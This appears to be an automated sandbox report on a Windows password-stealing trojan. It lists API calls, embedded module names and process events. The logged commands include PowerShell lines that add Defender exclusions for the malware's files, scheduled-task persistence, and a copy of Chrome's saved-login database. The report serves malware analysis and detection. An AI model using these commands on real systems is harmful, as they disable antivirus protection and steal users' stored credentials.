Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018099BF	10_2_018099BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01804120	10_2_01804120
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018120A0	10_2_018120A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B20A8	10_2_018B20A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B28EC	10_2_018B28EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E6800	10_2_017E6800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1002	10_2_018A1002
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018BE824	10_2_018BE824
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A830	10_2_0180A830
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FB090	10_2_017FB090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0188EB8A	10_2_0188EB8A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181138B	10_2_0181138B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180EB9A	10_2_0180EB9A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181EBB0	10_2_0181EBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A03DA	10_2_018A03DA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018ADBD2	10_2_018ADBD2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181ABD8	10_2_0181ABD8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018923E3	10_2_018923E3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01838BE8	10_2_01838BE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A231B	10_2_018A231B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B2B28	10_2_018B2B28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180AB40	10_2_0180AB40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0188CB4F	10_2_0188CB4F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01803360	10_2_01803360
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B32A9	10_2_018B32A9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B22AE	10_2_018B22AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AE2C5	10_2_018AE2C5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0189FA2B	10_2_0189FA2B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812581	10_2_01812581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018165A0	10_2_018165A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B25DD	10_2_018B25DD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E0D20	10_2_017E0D20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B2D07	10_2_018B2D07
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FD5E0	10_2_017FD5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01802D50	10_2_01802D50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B1D55	10_2_018B1D55
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4496	10_2_018A4496
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F841F	10_2_017F841F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AD466	10_2_018AD466
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B477	10_2_0180B477
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018BDFCE	10_2_018BDFCE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A67E2	10_2_018A67E2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B1FF1	10_2_018B1FF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01891EB6	10_2_01891EB6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B2EF7	10_2_018B2EF7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01805600	10_2_01805600
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AD616	10_2_018AD616
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01806E30	10_2_01806E30

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: String function: 017EB150 appears 154 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: String function: 01875720 appears 65 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: String function: 0183D08C appears 42 times

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041A370 NtCreateFile,	10_2_0041A370
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041A420 NtReadFile,	10_2_0041A420
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041A4A0 NtClose,	10_2_0041A4A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041A550 NtAllocateVirtualMemory,	10_2_0041A550
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041A41A NtReadFile,	10_2_0041A41A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041A49C NtClose,	10_2_0041A49C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829860 NtQuerySystemInformation,LdrInitializeThunk,	10_2_01829860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018296E0 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_018296E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829660 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_01829660
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018299A0 NtCreateSection,	10_2_018299A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018299D0 NtCreateProcessEx,	10_2_018299D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829910 NtAdjustPrivilegesToken,	10_2_01829910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829950 NtQueueApcThread,	10_2_01829950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018298A0 NtWriteVirtualMemory,	10_2_018298A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018298F0 NtReadVirtualMemory,	10_2_018298F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829820 NtEnumerateKey,	10_2_01829820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829840 NtDelayExecution,	10_2_01829840
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0182B040 NtSuspendThread,	10_2_0182B040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0182A3B0 NtGetContextThread,	10_2_0182A3B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829B00 NtSetValueKey,	10_2_01829B00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829A80 NtOpenDirectoryObject,	10_2_01829A80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829A00 NtProtectVirtualMemory,	10_2_01829A00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829A10 NtQuerySection,	10_2_01829A10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829A20 NtResumeThread,	10_2_01829A20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829A50 NtCreateFile,	10_2_01829A50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018295D0 NtClose,	10_2_018295D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018295F0 NtQueryInformationFile,	10_2_018295F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829520 NtWaitForSingleObject,	10_2_01829520
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0182AD30 NtSetContextThread,	10_2_0182AD30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829540 NtReadFile,	10_2_01829540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829560 NtWriteFile,	10_2_01829560
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829780 NtMapViewOfSection,	10_2_01829780
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018297A0 NtUnmapViewOfSection,	10_2_018297A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829FE0 NtCreateMutant,	10_2_01829FE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829710 NtQueryInformationToken,	10_2_01829710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0182A710 NtOpenProcessToken,	10_2_0182A710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829730 NtQueryVirtualMemory,	10_2_01829730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829760 NtOpenProcess,	10_2_01829760
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829770 NtSetInformationFile,	10_2_01829770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0182A770 NtOpenThread,	10_2_0182A770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018296D0 NtCreateKey,	10_2_018296D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829610 NtEnumerateValueKey,	10_2_01829610
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829650 NtQueryValueKey,	10_2_01829650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01829670 NtQueryInformationProcess,	10_2_01829670

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.426300401.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000003027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameReactionDiffusion.dllJ vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.440634324.00000000077B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000002E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAads.dll* vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000002E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameReactionDiffusion.dllJ vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameReactionDiffusion.dllJ vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438174775.0000000005410000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAads.dll* vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.430926613.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAads.dll* vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000000.385827333.0000000000A23000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamefOac.exe( vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438259530.0000000005570000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameReactionDiffusion.dllJ vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.424513444.000000000A0B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefOac.exe( vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 0000000A.00000002.431531509.00000000018DF000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: hkkRsa.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hkkRsa.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmpE41B.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hkkRsa.exe C:\Users\user\AppData\Roaming\hkkRsa.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmp22F9.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process created: C:\Users\user\AppData\Roaming\hkkRsa.exe C:\Users\user\AppData\Roaming\hkkRsa.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hkkRsa.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmpE41B.tmp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hkkRsa" /XML "C:\Users\user\AppData\Local\Temp\tmp22F9.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process created: C:\Users\user\AppData\Roaming\hkkRsa.exe C:\Users\user\AppData\Roaming\hkkRsa.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

File created: C:\Users\user\AppData\Roaming\hkkRsa.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

File created: C:\Users\user\AppData\Local\Temp\tmpE41B.tmp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/18@8/8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:60:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1648:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6392:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:492:120:WilError_01

Source: C:\Windows\SysWOW64\rundll32.exe

File written: C:\Users\user\AppData\Roaming\479O54QF\479logrc.ini

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Uses schtasks.exe or at.exe to add and modify task schedules

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdbeex.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: explorer.exe, 0000000F.00000000.477862889.00007FFA13021000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: P:\Target\x64\ship\groove\x-none\grooveex.pdb source: explorer.exe, 0000000F.00000000.477862889.00007FFA13021000.00000020.00000001.01000000.0000000B.sdmp
